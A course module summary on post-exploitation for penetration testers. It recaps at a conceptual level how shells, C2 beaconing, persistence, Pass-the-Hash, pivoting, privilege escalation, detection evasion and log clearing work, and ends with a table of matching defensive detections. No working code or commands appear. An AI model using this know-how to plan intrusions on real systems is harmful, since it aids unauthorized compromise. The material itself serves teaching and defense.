8.3.1 What Did I Learn in This Module?

Module 8 completed the technical arc of a full penetration testing engagement — from initial compromise through persistence, lateral movement, privilege escalation, detection avoidance, and evidence removal. The module addressed post-exploitation from three simultaneous perspectives: the attacker who executes these techniques, the defender who must detect and counter them, and the penetration tester who operates in the ethical middle ground of demonstrating attacker capability without causing harm.

The Complete Mental Model — What Post-Exploitation Is Really About

Post-exploitation is not a set of tricks and techniques. It is a strategic phase that answers the most important question of any penetration test: "Given the initial access we achieved, how much organizational damage could a real attacker cause?"

The attacker's goal is always to reach the highest-value targets accessible from their position and to demonstrate what could be done with that access. The penetration tester's goal is to demonstrate that same reach and capability — while taking every precaution to avoid actual harm, maintaining meticulous documentation, and restoring the environment completely at engagement end.

Creating a Foothold and Maintaining Persistence (Section 8.1)

The core of Section 8.1 was understanding that initial access is fragile and must be converted to persistent access:

Shells provide the initial interactive channel. Bind shells open listening ports on the target and are blocked by inbound firewalls in modern environments. Reverse shells initiate outbound connections from the target and bypass firewalls by exploiting the same rules that allow employees to browse the web. Raw shells must be upgraded to full TTY for professional use.

C2 frameworks transform raw shell access into managed, resilient, feature-rich attacker infrastructure. The progression from Netcat → Meterpreter → Cobalt Strike/Sliver represents increasing sophistication, operational security, and capability. The core architectural loop — beacon sleeping between check-ins, using encrypted channels over legitimate protocols, with jitter to break timing signatures — is what makes modern C2 frameworks so difficult to detect.

Scheduled tasks and cron jobs provide OS-native persistence that survives reboots, patch cycles, and credential changes. The key to stealthy implementation is naming and location that blend with legitimate system tasks.

Registry keys and startup mechanisms on Windows provide multiple independent persistence points. A professional attacker establishes multiple independent persistence mechanisms — if one is discovered and removed, others remain.

Web shells provide HTTP-accessible command execution that survives through normal web server operations. Their stealth depends on naming, location, and whether password protection and obfuscation are applied.

New user accounts are the highest-impact persistence mechanism because they use legitimate authentication channels that are hard to detect without explicit account auditing.

Lateral Movement, Detection Avoidance, and Enumeration (Section 8.2)

Section 8.2 addressed the strategic expansion phase — moving from a single compromised endpoint to broad organizational access.

Post-exploitation enumeration is the foundation of all lateral movement. Understanding where you are, what credentials are available, what networks are reachable, and what targets are interesting determines every subsequent decision. BloodHound's Active Directory mapping revealed that attack paths invisible to manual analysis — multi-hop privilege escalation chains, trust relationships, unexpected group memberships — are immediately visible in graph form.

Living-off-the-Land is the principle that defined modern post-exploitation evasion: use what is already there. PowerShell, WMI, certutil, mshta, regsvr32, scheduled tasks — all legitimate OS utilities, all abused by attackers, all generating logs that look indistinguishable from legitimate administrative activity when examined in isolation.

Pass-the-Hash is the single most impactful lateral movement technique in Windows environments. NTLM hash reuse without knowing plaintext passwords allows authentication to any service accepting NTLM — across potentially the entire domain if a domain admin's hash is obtained.

Pivoting through tunnels — SSH port forwarding, Meterpreter routing, Chisel SOCKS proxies — extends the attacker's reach from the initially compromised machine to network segments they cannot access directly. An attacker who has compromised a DMZ web server with a pivot tunnel can reach the internal database servers, the domain controller, and the management network as if they were directly connected.

Privilege escalation converts limited access into full system control. The SUID abuse, sudo misconfigurations, unquoted service paths, DLL hijacking, and token impersonation techniques (Potato family) each exploit a different class of configuration failure. LinPEAS and WinPEAS automate the discovery of these opportunities across hundreds of checks in seconds.

Detection avoidance is the arms race between attacker techniques and defender tools. Process injection hides malicious code inside legitimate processes. Memory-only execution leaves no files on disk for antivirus to scan. AMSI bypass circumvents PowerShell script inspection. Obfuscation defeats signature matching. Timestomping disrupts forensic timeline reconstruction. Each technique is a response to a specific defensive capability.

Covering tracks is an ethical obligation at the end of an authorized engagement and a strategic necessity in real attacks. Log clearing, history removal, file deletion, and backdoor removal must be comprehensive and verified. The defender's counterpoint: centralized, real-time log shipping to SIEM means local log deletion does not undo what has already been forwarded. Modern enterprise environments treat local log clearing as an indicator of compromise in itself.

Steganography is the final technique — data hiding within ordinary files that defeats DLP tools and network inspection by making exfiltrated data look like innocent images or audio. The statistical detection techniques (entropy analysis, stegdetect) represent the defender's best available options, though they are probabilistic rather than certain.

The Defender's Takeaway — Building Detection From Attacker Knowledge

Every technique in Module 8 has a corresponding defensive control:

Attacker Technique	Defensive Detection/Prevention
Reverse shell	Outbound connection monitoring; block unusual outbound ports; restrict outbound to proxies
C2 beaconing	Periodic connection patterns to unusual destinations; JA3 TLS fingerprinting; DNS analytics
Scheduled task persistence	Monitor Task Scheduler modifications (Event ID 4698); baseline legitimate tasks
Registry Run key	Monitor Run key modifications (Sysmon Event ID 13); application whitelisting
Pass-the-Hash	Monitor NTLM authentication events (Event ID 4624 type 3); implement LAPS; tier admin accounts
Lateral movement via SMB	Monitor SMB authentication from unusual sources; network segmentation
LOLBIN abuse	Process creation monitoring (Sysmon Event 1); track unusual parent-child process relationships
Log clearing	Forward logs in real time to SIEM; alert on Event ID 1102 (log cleared)
Steganography	DLP with entropy analysis; statistical anomaly detection in files

The most important defensive lesson from post-exploitation study: defenders who understand attacker techniques build more effective controls than those who rely only on vendor products. Every SIEM rule, every EDR policy, every network segmentation decision is more precise and more effective when informed by deep understanding of what attackers actually do.

═══════════════════════════════════════════════════════════
MODULE 8 — PERFORMING POST-EXPLOITATION TECHNIQUES
COMPLETE
═══════════════════════════════════════════════════════════

Table of Contents